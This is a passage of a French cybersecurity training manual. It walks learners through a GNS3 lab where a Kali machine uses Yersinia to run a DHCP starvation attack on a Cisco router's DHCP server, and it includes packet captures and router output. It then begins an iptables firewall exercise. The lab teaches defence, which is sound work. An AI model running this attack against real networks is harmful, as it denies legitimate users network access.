Pour créer manuellement une nouvelle Template d'un routeur à partir du fichier c3725-adventerprisek9-mz.124-25d.bin, sélectionnez l'icône "+New template "

Une nouvelle fenêtre intitulée **New template** s'ouvre, sélectionnez alors **Manually create a new template.** Cliquez ensuite sur **Next**.

New template	\sim
Please select how you want to create a new template	
Install an appliance from the GN63 server (recommended)	
Import an appliance file (gne3a extension)	
Manually treate a new template	

Une nouvelle fenêtre intitulée **Preferences** s'ouvre, sélectionnez alors **IOS Routers**, et parcourez le chemin du fichier **c3725-adventerprisek9-mz.124-25d.bin.** Cliquez ensuite sur **Next**.

💰 New IOS router template		?	×
IOS image Please choose an IOS image.		2	~
Existing image New Image IOS image:			
C: \Users\HP\GNS3\images\JOS\c3725-adventerprisek9-mz. 124-25d.image		Browse.	
< <u>B</u> ack	<u>N</u> ext >	Cance	
PARTIE 1



Étape 2 : Émulation de la topologie de réseau

Une nouvelle fenêtre intitulée **New IOS router** s'ouvre, nommez la Template du routeur « Router ». Cliquez ensuite sur **Next**.

New 10	S router - c3725-adventerprisek9-mz.124-25d.image	?	×
Name an Pleas	d platform e choose a descriptive name for this new IOS router and verify the platform and chassis.	2	1
Name:	Router		
Platform:	c3725		•
Chassis:			-
	< Back Next >	Can	el

Attribuez une capacité RAM, il est possible d'utiliser la valeur par défaut 128Mo. Cliquez ensuite sur **Next**.

😵 New IOS router - c3725-adventerprisek9-mz.124-25d.image		?	×
Memory Please check the amount of memory (RAM) that you allocate to IOS. Too much or not enough RA prevent IOS from starting.	AM could	2	X
Default RAM: 128 MiB			¢
Check for minimum and maximum RAM requirement			
	ext >	Cance	3

PARTIE 1



Étape 2 : Émulation de la topologie de réseau

Sur la page **Network adaptaters**, il vaut mieux ne pas modifier la configuration par défaut. Cliquez ensuite sur **Next**.

slot 0:	GT96100-FE	*
slot 1:		-
slot 2:		•
slot 3:		~
slot 4:		Ŧ
slot 5:		Ŧ
slot 6:		Ŧ

Sur la page **WIC modules**, il vaut mieux ne pas modifier la configuration par défaut. Cliquez ensuite sur **Next**.

🛞 New IOS router - c3725-adventerprisek9-mz.124-25d.image		?	×
WIC modules Please choose the default WIC modules that should be inserted into every new instar	nce of this router.	C?	<
wic 0:			-
wic 1:			Ŧ
wic 2:			•
< Back	Next >	Cance	

Activité 2 Correction



Étape 2 : Émulation de la topologie de réseau

Sur la page **Idle-PC**, il vaut mieux ne pas modifier la configuration par défaut. Cliquez ensuite sur **Finish**.

New IOS router - c3725-adventerprisek9-mz.124-25d.image		?	×
Idle-PC An idle-pc value is necessary to prevent IOS to use 100% of your processor or one of its cores			*~
Idle-PC: 0x602467a4		Idle-PC fi	nder
< <u>B</u> ack	<u>F</u> inish	Car	ncel

Comme illustré dans la figure ci-dessous, la Template **Router** a été créée avec succès.



T

PARTIE



 \times

Delete

Apply

Étape 2 : Émulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d'une machine à partir d'une machine virtuelle créée sous VirtualBox, sélectionnez l'icône "+New Template ".

Une nouvelle fenêtre intitulée **New template** s'ouvre, sélectionnez alors Manually create a new template. Cliquez ensuite sur Next.

😢 New template	? ×	😵 Preferences			
New template Please select how you want to create a new template		General Server	VirtualBox VM templates		
 Instal an applance from the GNS3 server (recommended) Inport an applance file (gns3a extension) 		GNS3 VM Packet capture - Built-in Ethernet hubs Ethernet switches Cloud nodes - VPCS VPCS nodes - Dynamips IOS routers - IOS on UNIX IOU Devices - QEMU Qemu VMs - VirtualBox VirtualBox VMs - VMware VMware VMs - Docker Docker containers	kali-linux-2022.1-virtualbox-amd64 New VirtualBox VM templete VirtualBox VirtualBox virtual reachine from the later of the control of the set of th	• General Template name: Template ID: VirtualBox name: RAM: Server:	kali-Snur-2022.1-virtualbas-armi64 0b0567c5-1997-4b65-b2x7-401cad4768zc kali-Inna-2022.1-virtualbas-armi64 2048 DESKTOP-M5025P ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
< Back Next >	Cancel				Cx Canad

Une nouvelle fenêtre intitulée **Preferences** s'ouvre, sélectionnez alors VirtualBox VMs, et sélectionnez la VM Ubuntu. Cliquez ensuite sur Next.

Activité 2 Correction



Étape 2 : Émulation de la topologie de réseau

Terminez le processus de création en cliquant sur **Apply** puis **Ok**.

General	VirtualBox VM templates				
Server GNS3 VM Packet capture Built-in Ethernet hubs Ethernet switches Cloud nodes VPCS VPCS nodes VPCS VPCS nodes Dynamips IOS routers IOS on UNIX IOU Devices QEMU Qemu VMs VirtualBox VirtualBox VirtualBox VMware VMware VMware Docker containers	kall-linux-2022.1-virtualbox-amd64	General Template name: Template name: Template ID: Virtualitics name: RAAt Serve: Headiess mode enabled: On close: Linked base VM: Console type: Auto start console * Network: Adapters: Name format: Use any adapter: Type	Ubuntu none Ubuntu 1024 PSSTDP-M9826P False none False none False 1 Ethemet(0) False Intel PR0/1000 MT Desktop (82540EM)		
		New	Dat:	Delete	

Comme illustré dans la figure ci-dessous, la Template **Ubuntu** a été créée avec succès.



Activité 2 Correction

T

PARTIE



Étape 2 : Émulation de la topologie de réseau

Importez les équipements nécessaires dans l'espace de travail, nommez-les, puis établissez les liens requis pour créer la topologie comme illustré à la figure ci-dessus.



Cliquez sur le bouton **Start/Resume all nodes**. Une fenêtre de confirmation s'ouvre, cliquez alors sur **Yes**.





Comme illustré dans la figure contre, tous les équipements sont actifs et prêts à être utilisés.

Copyright - Tout droit réservé - OFPPT

PARTIE 1



Étape 3 : Configuration du serveur DHCP

Cette figure illustre les commandes exécutées pour activer l'interface FastEthernet 0/0 et lui attribuer une adresse IP 10.0.0.1. Cette figure illustre les commandes exécutées pour la création et la configuration du pool d'adresses DHCP.

R1 − □ > *Mar 1 00:00:04.451: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthern et0/1, changed state to down R1#configure terminal Enter configuration commands, one per line. End with CNTL/Z.	<pre> R1 - □ R1(config)# *Mar 1 00:03:01.007: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed stat o up *Mar 1 00:03:02.007: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEth et0/0, changed state to up R1(config)#service dhcp </pre>	X te t
*Mar 1 00:00:04.451: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthern et0/1, changed state to down R1#configure terminal Enter configuration commands, one per line. End with CNTL/Z.	<pre>n ^ R1(config)# *Mar 1 00:03:01.007: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed star o up *Mar 1 00:03:02.007: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEth et0/0, changed state to up R1(config)#service dhcp</pre>	te t
R1(config)#interface fa0/0 R1(config-if)#ip address 10.0.0.1 255.0.0.0 R1(config-if)#no shutdown R1(config-if)#exit R1(config)# *Mar 1 00:03:01.007: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state f o up *Mar 1 00:03:02.007: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthern et0/0, changed state to up R1(config)#	<pre>R1(config)#ip dhcp pool pool-1 R1(dhcp-config)#network 10.0.0.0 R1(dhcp-config)#default-router 10.0.0.1 R1(dhcp-config)#lease 1 R1(dhcp-config)#exit R1(config)#ip dhcp excluded-address 10.0.0.0 R1(config)#exit R1#show *Mar 1 00:05:23.031: %SYS-5-CONFIG_I: Configured from console by console R1#show ip dhcp pool pool-1 Pool pool-1 : Utilization mark (high/low) : 100 / 0 Subnet size (first/next) : 0 / 0 Total addresses : 16777214 Leased addresses : 0 Pending event : none 1 subnet is currently in the pool : Current index IP address range Leased addresses 10.0.0.1 10.0.0.1 - 10.255.255.254 0</pre>	nern



Étape 4 : Vérification du bon fonctionnement du serveur DHCP

- Pour vérifier le bon fonctionnement du serveur DHCP, nous allons vérifier si les machines Ubuntu (client DHCP) et Kali (pirate) peuvent recevoir des adresses IP du serveur DHCP.
- Avant tout, il faut vérifier les liaisons d'adresse sur le serveur DHCP en exécutant la commande R1#show ip DHCP binding dans le terminal du routeur R1.
- Comme illustré dans la figure ci-dessous, le résultat de l'exécution de la commande précédente illustre qu'il y a une seule adresse DHCP (10.0.0.3) qui a été attribuée.

₽ R1			- 0	×
R1#show ip dhcp Bindings from a	o binding all pools not associated w	vith VRF:		^
IP address	Client-ID/	Lease expiration	Туре	
	Hardware address/ User name			
10.0.0.3 R1# <mark>.</mark>	0108.0027.95bd.54	Mar 02 2002 12:07 AM	Automatic	¥



Étape 4 : Vérification du bon fonctionnement du serveur DHCP

- Cette figure illustre l'exécution des commandes permettant la libération de la configuration IP de la machine Ubuntu, la demande d'une nouvelle adresse IP, et l'affichage de l'adresse IP obtenue.
- Le résultat illustré dans la figure montre que la machine Ubuntu a obtenu une adresse IP .10.0.0.2

En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons remarqué l'ajout d'une nouvelle ligne démontrant l'attribution de l'adresse 10.0.0.2 à un nouveau client DHCP qui est la machine Ubuntu dans notre exemple.

F	osboxes@osboxes: ~	Q	Ξ	8 <u>97</u>	٥	8
osbo osbo 1: up o	<pre>>xes@osboxes:~\$ sudo dhclient -r >xes@osboxes:~\$ sudo dhclient >xes@osboxes:~\$ ip address show Lo: <loopback,up,lower_up> mtu 65536 qdisc no default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00 inet 127 0 0 1/8 scope bost lo</loopback,up,lower_up></pre>	queue :00:0	state 0:00	e UNK	NOWN	gro
2: 0	<pre>valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever enp0s3: <broadcast,multicast,up,lower_up> mtu</broadcast,multicast,up,lower_up></pre>	1500	qdiso	c fq_	code	l st
ate	<pre>UP group default glen 1000 link/ether 08:00:27:d9:6b:39 brd ff:ff:ff:ff inet 10.0.0.2/8 brd 10.255.255.255 scope glo valid_lft 86390sec preferred_lft 86390sec inet6 fe80::66b1:5d64:94de:48df/64 scope lin valid_lft_forever_preferred_lft_forever</pre>	:ff:f bal d k nop	f ynamio refixn	c enp route	0s3	ו

🛃 R1			-		×
R1#show ip dhcp bi	nding				^
Bindings from all	pools not associated with	VRF:			
IP address	Client-ID/ Hardware address/ User name	Lease expiration	Ту	pe	
10.0.0.3	0108.0027.95bd.54	Mar 02 2002 12:07 AM	I Au	tomati	c
R1#show ip dhcp bi	nding				
Bindings from all	pools not associated with	VRF:			
IP address	Client-ID/ Hardware address/ User name	Lease expiration	Ту	pe	
10.0.0.2	0800.27d9.6b39	Mar 02 2002 12:10 AM	1 Au	tomati	c
10.0.0.3 81#	0108.0027.95bd.54	Mar 02 2002 12:07 AM	1 Au	tomati	c v



Automatic

Automatic

Automatic

Automatic

Automatic

Туре

_

2002 12:10 AM

2002 12:07 AM

002 12:10 AM

002 12:07 AM

002 12:12 AM

 \times

Δ

Étape 4 : Vérification du bon fonctionnement du serveur DHCP

- Cette figure illustre l'exécution des commandes permettant la libération de la configuration IP de la machine Kali, la demande d'une nouvelle adresse IP, et l'affichage de l'adresse IP obtenue.
- Le résultat illustré dans la figure montre que la machine Kali a obtenu une adresse IP .10.0.0.4.

En vérifiant les liaisons d'adresses sur le serveur DHCP, nous pouvons remarquer l'ajout d'une nouvelle ligne démontrant l'attribution de l'adresse 10.0.0.4 à un nouveau client DHCP qui est la machine Kali dans cet exemple.

	kali@kali: ~		🛃 R1		
File Actions Edit View	Help	l	R1#show ip dhcp Bindings from a IP address	binding ll pools not associated wi Client-ID/ Hardware address/	th VRF: Lease expiration
(kali⊕kali)-[~] <u>\$ sudo</u> dhclient			10.0.0.2 10.0.0.3 R1#show ip dhcp	User name 0800.27d9.6b39 0108.0027.95bd.54 binding	Mar 02 2002 12:1 Mar 02 2002 12:0
eth0: flags=4163 <up,broad< td=""><td>CAST,RUNNING,MULTICAST> mtu 1500</td><td></td><td>Bindings from a IP address</td><td>ll pools not associated wi Client-ID/ Hardware address/ User name</td><td>th VRF: Lease expiration</td></up,broad<>	CAST,RUNNING,MULTICAST> mtu 1500		Bindings from a IP address	ll pools not associated wi Client-ID/ Hardware address/ User name	th VRF: Lease expiration
inet6 fe80::a00:2 ether 08:00:27:95 RX packets 16 by	7ff:fe95:bd54 prefixlen 64 scopeid 0×20 bbd:54 txqueuelen 1000 (Ethernet) ytes 2652 (2.5 KiB)	<link/>	10.0.0.2 10.0.0.3 10.0.0.4	0800.27d9.6b39 0108.0027.95bd.54 0800.2795.bd54	Mar 02 2002 12:10 Mar 02 2002 12:0 Mar 02 2002 12:1
RX errors 0 drop TX packets 89 by TX errors 0 drop	oped 0 overruns 0 frame 0 /tes 14558 (14.2 KiB) oped 0 overruns 0 carrier 0 collisions 0		K1#		



Étape 5 : Exécution de l'attaque DHCP Starvation

Lancement de l'outil Yersinia depuis le terminal de la machine Kali (pirate).



Interface de l'outil Yersinia permettant le lancement de l'attaque DHCP starvation.



Interface de l'outil Yersinia illustrant l'exécution de l'attaque DHCP starvation via l'envoie des requêtes DHCP falsifiées.

CDP	Dł	HCP	802.1Q	802.	1X	DTP	HSRP	ISL	MPL	S	STP	VTP	Yersinia log
SIP		DIP			Mes	sageT	ype	Interfa	ice	Co	unt	Last s	een
0.0.0	0.0	255.	255.255.2	255 ()1 D	iscov	ER e	eth0		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	iscov	ER 🕴	eth0		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	ISCOV	ER I	eth0		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	ISCOV	ER 🛛	eth0		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	ISCOV	ER 👘	ethO		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	iscov	ER (eth0		1		14 Ma	r 18:49:56
0.0.0	0.0	255.	255.255.2	255 ()1 D	ISCOV	ER e	eth0		1		14 Ma	r 18:49:56



Étape 5 : Exécution de l'attaque DHCP Starvation

Il est aussi possible d'analyser le trafic généré par la machine Kali en utilisant l'outil d'analyse Wireshark, qui est installé par défaut avec GNS3.

- Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le câble liant la machine Kali et le commutateur. Sélectionnez ensuite l'option **Start capture**.
- Une fenêtre de capture de paquets s'ouvre comme illustré dans la figure cidessous, cliquez alors sur **OK**.

ent_DHCP_Ubuntu	S Packet capture		7	×
E0	File name: Prate Kal Ethernet0 to Switch FastEthernet11			-
	Start the capture visualization program			_
		СК	Cano	el

La figure ci-dessous est un extrait de la capture du trafic collectée lors de l'exécution de l'attaque DHCP starvation.

🦲 🤇 Eichi	Captur er E	e en diter	cours	de -	(Pira	te_K	ali Eti	hern	et0 t	to Sv	vitch د	n Fas	tEthe	erne e	t1/1]	nie	Wir	elecc	0+	ile	Aide								_			×
		(inter				C	Q	، ء ھ	-(na)	ysei 👳	-	. I	ique			D	Q (e.	THE S	out	115	Alue											
dh				0.00	(F. 16)			~	~	_					-	-	-	-•													× →	-	+
lo.		Time			s	Sourc	æ					Des	tinat	ion				P	rotocol	Le	ngth	Info	_										,
4	9406	15.9	9656	03	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	Lscov	er	- T	ransa	action	ID	0x6	43c986	59	
4	9407	15.9	9661	29	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9408	15.9	9662	23	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9409	15.9	9662	58	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9410	15.9	9662	85	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9411	15.9	9663	48	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	Lscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9412	15.9	9664	30	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	Lscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9413	15.9	9665	04	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	Lscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9414	15.9	9665	79	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- T	ransa	action	ID	0x6	43c986	59	
4	9415	15.9	9666	73	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D:	iscov	er	- т	ransa	action	ID	0x6	43c986	59	
4	9416	15.9	9667	38	6	0.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- T	ransa	action	ID	0x6	43c986	59	
4	9417	15.9	9668	16	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- T	ransa	action	ID	0x6	43c986	59	
- 4	9418	15.9	9668	98	6	9.0.	0.0					25	5.25	5.2	255.	255		D	HCP		286	DHCP	D	iscov	er	- T	ransa	action	ID	0x6	43c986	59	
																																	3
-									-		_												_						-				
FI	rame	1: 2	286 1	руте	s on	-01	re (228	8 D	115), 1	286	byt	es	cap	Ture	ea (A	228	8 D1T	s) o	n 1n	ferta	ace	-, :		0							
000	. ff	££	££ 4			25	-0	74	62	00	17	00	4:n	15	10	11.	USI	: n	toauc					1:11									
000 010	01	10	00 0	0 00	9 00	10	11	24 29	05 CP	00	17	00	00 00 1	+	10 ff																		
020	ff	ff	00 4	4 00) 43	00	fc	e1	be	01	01	06	00 0	54	3c		• D • C			• • d<													
030	98	69	00 0	0 80	00	00	00	00	00	00	00	00	00 0	30	00	·i																	
040	00	00	00 e	0 00	9 00	35	a9	74	63	00	17	00	00 0	90 (00			5.	tc···														
050	00	00	00 e	0 00	9 00	00	00	00	00	00	00	00	00 0	90 (00			• • •	• • • • •														
060	00	00	00 0	0 00	9 00	00	00	00	00	00	00	00	00 0	90 (00		• • • •	• • •	• • • • •	• • • •													
9070	00	00	00 0	0 00	00	00	00	00	00	00	00	00	00 0	90	00			• • •		• • • •													
1086	00	99	00 6	0 00	00	99	90	99	99	99	90	90	66 6	90 (90																		

48

T

PARTIE



Étape 5 : Exécution de l'attaque DHCP Starvation

Cette figure illustre le résultat de la commande **R1# show ip dhcp binding** exécutée lors de la réalisation de l'attaque DHCP starvation. Elle montre que le serveur DHCP est **inondé** et ne peut pas répondre à n'importe quel type de requête.

<i>₽</i> R1	_		×	
R1#show ip dhcp binding % The DHCP database could not be locked. Please retry the R1#	command later		0	
_				
Remarques				
En essayant de libérer et de renouveler l'attribution de l'exécution de l'attaque, vous pouvez noter que la mach nouvelle adresse de la part du serveur DHCP (qui est in	e l'adresse à la nine Ubuntu r ondé).	i mach ie peut	ine Ubuntu t pas recevo	lors de oir une

Cette figure illustre le résultat de la commande **R1# show ip dhcp binding** exécutée après la réalisation de l'attaque DHCP starvation. Elle montre que le serveur DHCP a attribué plusieurs adresses dynamiques.

₽ R1			- 🗆	×
R1#show ip dhcp bi	nding			~
% The DHCP databas	e could not be locked. P	lease retry the command	later.	
R1#show ip dhcp bi	nding			
% The DHCP databas	e could not be locked. P	lease retry the command	later.	
R1#				
R1#				
R1#show ip dhcp bi	nding			
Bindings from all	pools not associated wit	h VRF:		
IP address	Client-ID/	Lease expiration	Туре	
	Hardware address/			
	User name			
10.0.0.2	0800.27d9.6b39	Mar 01 2002 12:30 AM	Automatic	
10.0.0.3	0108.0027.95bd.54	Mar 02 2002 12:07 AM	Automatic	
10.0.0.4	0800.2795.bd54	Mar 02 2002 12:12 AM	Automatic	
10.0.0.5	f2b2.6c43.c113	Mar 01 2002 12:21 AM	Automatic	
10.0.0.6	4846.370a.449d	Mar 01 2002 12:21 AM	Automatic	
10.0.0.7	1a92.ed24.8158	Mar 01 2002 12:21 AM	Automatic	
10.0.0.8	a27e.1149.916b	Mar 01 2002 12:21 AM	Automatic	
10.0.0.9	6c31.8c49.8fa3	Mar 01 2002 12:21 AM	Automatic	
10.0.0.10	8ac4.7547.109a	Mar 01 2002 12:21 AM	Automatic	
10.0.0.11	68ba.291e.0239	Mar 01 2002 12:21 AM	Automatic	
10.0.0.12	8449.2a52.4845	Mar 01 2002 12:21 AM	Automatic	
10.0.0.13	1009.5d68.a2de	Mar 01 2002 12:22 AM	Automatic	
10.0.0.14	1325.377a.656a	Mar 01 2002 12:22 AM	Automatic	
10.0.0.15	c4d6.6810.d642	Mar 01 2002 12:22 AM	Automatic	
10.0.0.16	3b5c.4f75.e798	Mar 01 2002 12:22 AM	Automatic	
10.0.0.17	2427.ae1c.6701	Mar 01 2002 12:22 AM	Automatic	
10.0.0.18	5a7a.9707.23e2	Mar 01 2002 12:22 AM	Automatic	
10.0.0.19	ebe6.ed22.5947	Mar 01 2002 12:22 AM	Automatic	
10.0.0.20	b485.697e.3800	Mar 01 2002 12:22 AM	Automatic	







PARTIE 2 PROTÉGER LE SI

Dans ce module, vous allez :

- Configurer un pare-feu
- Appliquer les bonnes pratiques et la configuration des outils nécessaires pour sécuriser un système d'exploitation







ACTIVITÉ 1 S'INITIER À L'UTILISATION DU PARE-FEU IPTABLES

Compétences visées :

• Configurer un pare-feu (IPTABLES)

Recommandations clés :

• Maitriser le principe du fonctionnement d'un pare-feu logiciel





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable de configurer iptables en partant de la stratégie de sécurité définie dans un énoncé.

2. Pour l'apprenant

- Il est recommandée de maitriser le principe du fonctionnement d'un pare-feu
- Il faut utiliser le syntaxe des commandes fournis au début de l'activité
- Il est également recommandée de suivre les étapes décrites dans l'énoncé

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu : <u>https://www.osboxes.org/ubuntu/#ubuntu-21-10-info</u>

4. Critères de réussite :

- Avoir un pare-feu configuré selon la stratégie de sécurité définie dans l'énoncé
- Réaliser avec succès les tests de vérification demandés dans l'énoncé

Activité 1 S'initier à l'utilisation du pare-feu iptables



Étape 1 : S'initier à iptables

- L'objectif principal de cette activité est d'apprendre à configurer un pare-feu. Comme exemple de pare-feu, nous allons utiliser iptables.
- Iptables est un outil de ligne de commande et un pare-feu Linux permettant de configurer, maintenir et inspecter des tableaux de filtrage de paquets.
- Tous les paquets inspectés par **iptables** passent par une séquence de tables intégrées (INPUT, OUTPUT, ou FORWARD) pour être traités. Chacun de ces tableau est dédiée à un type particulier d'activité de paquets et est contrôléepar une chaîne de transformation/filtrage de paquets associée.
- Iptables est basé sur trois tableaux de filtrage de paquets qui sont :
 - INPUT : contrôle les paquets entrants sur la machine ;
 - FORWARD : filtre les paquets qui entrent sur la machine mais doivent être transférés ailleurs ;
 - **OUTPUT** : contrôle les paquets sortant de la machine.
- Toute commande iptables prend la forme suivante :

\$ sudo iptables -t <type de tableau> <action> <direction> <conditions> -j <ce qu'il faut faire>

• En ce qui suit nous détaillons le contenu des éléments qui peuvent être inclus dans une commande iptables.

Activité 1 S'initier à l'utilisation du pare-feu iptables



Étape 1 : S'initier à iptables

Le tableau suivant détaille les éléments qui peuvent être inclus dans une commande iptables :

Éléments	Contenus	Descriptions
-t	table	
<type de="" tableau=""></type>		Filtre par défaut
	-A: append	Ajouter une règle à la chaîne iptables
	-D: delete	Supprimer la règle qui correspond
<action></action>	-L: list	Lister toutes les règles
	-F: Flush	Supprimer toutes les règles
	-P: policy	Modifier la stratégie par défaut
	INPUT	Filtrage des paquets entrants
<direction></direction>	OUTPUT	Filtrage des paquets sortants
	FORWARD	Filtrage des paquets entrants et à transférer
	ACCEPT	Le paquet est accepté sur l'interface entrante
	DROP	Le paquet est bloqué. Aucun message d'erreur n'est renvoyé
<ce faire="" faut="" qu'il=""></ce>	REJECT	Le paquet est bloqué. Un message d'erreur est renvoyé
	LOG	Les informations sur le paquet sont envoyées au démon syslog pour la journalisation et iptables continue le traitement avec la règle suivante dans la table

Activité 1

S'initier à l'utilisation du pare-feu iptables



Étape 1 : S'initier à iptables

Éléments	Contenus	Descriptions
	-s <ip></ip>	Spécifier une adresse IP source
	-d <ip></ip>	Spécifier une adresse IP destination
<pre>coonditions></pre>	-i <eth></eth>	Spécifier une interface d'entrée (Input)
<conditions></conditions>	-o <eth></eth>	Spécifier une interface de sortie (Output)
	-p <protocole>dport <num></num></protocole>	Spécifier le port destination d'un protocole donné
	-p <protocole>sport <num></num></protocole>	Spécifier le port source d'un protocole donné

Activité 1 S'initier à l'utilisation du pare-feu iptables



Étape 1 : S'initier à iptables

Le tableau ci-dessous décrit certains exemples de commandes iptables qui vous servent par la suite pour configurer proprement votre pare-feu.

Exemples de commandes iptables	Description
sudo iptables –A INPUT -p tcp -m tcpdport 23 –j DROP	Bloque les connexions TCP entrantes au port 23
sudo iptables –A OUTPUT –p udp –m tcpsport 53 –j DROP	Bloque les connexions UDP sortantes du port 53
sudo iptables –A INPUT –i eth0 –p tcpdport 22 –m statestate NEW, ESTABLISHED –j ACCEPT	Accepte les demandes d'établissement de nouvelles connexions et datagramme faisant partie d'une connexion déjà établie
sudo iptables -A OUTPUT -p icmpicmp-type echo-request -j ACCEPT	Accepte les echo-request (paquet icmp de type 8) sortantes

- Enregistrement des scripts iptables :
 - Si vous redémarrez la machine, la configuration d'iptables disparaîtra.
 - Pour enregistrer la configuration et la faire démarrer automatiquement, les deux commandes iptables-save et iptables-restore peuvent être utilisées.
 - # iptables-save > /etc/iptables.rules
 - #iptables-restore < /etc/iptables.rules

Activité 1 S'initier à l'utilisation du pare-feu iptables



Étape 2 : Travail demandé

- Après avoir examiné les notions fondamentales de iptables, passons maintenant à tester certaines commandes. Pour ce faire, vous êtes chargés de suivre les étapes suivantes et répondre aux questions :
 - 1. Démarrez votre machine virtuelle Ubuntu et ouvrez son terminal ;
 - Il vaut mieux que le mode d'accès réseau de votre machine virtuelle soit Accès par pont.
 - 2. Vérifiez que iptables est installé dans votre machine Ubuntu ;
 - 3. Listez les règles du pare-feu iptables ;
 - 4. Selon le résultat obtenu dans la question précédente, quel est la stratégie par défaut de iptables ?
 - 5. Essayez de pinguer depuis la machine hôte vers la machine virtuelle ;
 - 6. Ajoutez la règle appropriée permettant de bloquer la réception des écho-requests du protocole ICMP ;
 - 7. Listez de nouveaux les règles du pare-feu iptables ;
 - 8. Essayez de pinguer depuis la machine hôte vers la machine virtuelle ;
 - 9. Essayez de pinguer l'url suivant <u>www.google.com</u> depuis la machine virtuelle ;
 - 10. Ajoutez la règle appropriée permettant de bloquer l'envoi des écho-requests du protocole ICMP ;
 - 11. Essayez de nouveau de pinguer l'url suivant <u>www.google.com</u> depuis la machine virtuelle ;
 - 12. Enregistrez la configuration effectuée ;
 - 13. Supprimez les règles du pare-feu iptables.

PARTIE 2



Étape 2 : Travail demandé

- Comme illustré dans la figure ci-dessous, pour vérifier que iptables est bien installée dans votre machine Ubuntu, il suffit de taper les commandes suivantes :
 - sudo iptables
 - sudo iptables -h
- Selon le résultat illustré dans la figure ci-contre, la version du pare-feu iptables est **1.8.7**.

	<pre>osboxes@osboxes:~\$ sudo iptables [sudo] password for osboxes:</pre>
	iptables v1.8.7 (nf_tables): no command specified
	Try `iptables -h' or 'iptableshelp' for more information.
Remarques	osboxes@osboxes:~\$ sudo iptables -h
En cas ou iptables n'est pas installé dans votre machine, il suffit de	iptables v1.8.7
taper les commandes suivantes :	Usage: iptables -[ACD] chain rule-specification [options]
 sudo apt-get update 	iptables -I chain [rulenum] rule-specification [options]
 sudo apt-get install iptables 	iptables -R chain rulenum rule-specification [options]
	iptables -D chain rulenum [options]
	iptables -[LS] [chain [rulenum]] [options]
	iptables -[FZ] [chain] [options]
	iptables -[NX] chain
	iptables -E old-chain-name new-chain-name
	iptables -P chain target [options]
	iptables -h (print this help information)





• Pour lister les règles du pare-feu iptables, il suffit de taper la commande : sudo iptables -L

<pre>osboxes@osboxes:~\$ sudo iptables -L Chain INPUT (policy ACCEPT) target prot opt source</pre>	destination
Chain FORWARD (policy ACCEPT) target prot opt source	destination
Chain OUTPUT (policy ACCEPT) targetprot opt_source	destination

• Selon le résultat illustré dans la figure ci-dessus, la stratégie par défaut de iptables est ACCEPT





Pour réaliser des test de type **ping** depuis la machine hôte vers la machine virtuelle Ubuntu, il faut :

1. Identifier l'adresse IP de la machine virtuelle Ubuntu, en tapant dans son terminal la commande : **ifconfig** ou **ip address show**

Le résultat obtenu démontre que l'adresse IP est : 192.168.0.162

Remarques

Ces résultats sont obtenus avec la configuration par défaut de iptables illustrée précédemment.

2. Depuis l'invite de commande de la machine hôte, tapez la commande ping suivie de l'adresse IP identifiée précédemment :

Ping 192.168.0.162

Le résultat obtenu démontre que la machine virtuelle répond aux requêtes ICMP envoyées de la part de la machine hôte.

osboxes@osboxes:~\$ ifconfig
enp0s3: flags=4163 <up,broadcast,running,multicast> mtu 1500</up,broadcast,running,multicast>
inet 192.168.0.162 netmask 255.255.255.0 broadcast 192.
168.0.255
inet6 fe80::53e:4b98:ec44:be26 prefixlen 64 scopeid 0x2
0 <link/>
ether 08:00:27:36:85:0b
RX packets 487 bytes 87216 (87.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 289 bytes 41416 (41.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions
0

C:\Users\HP>ping 192.168.0.162

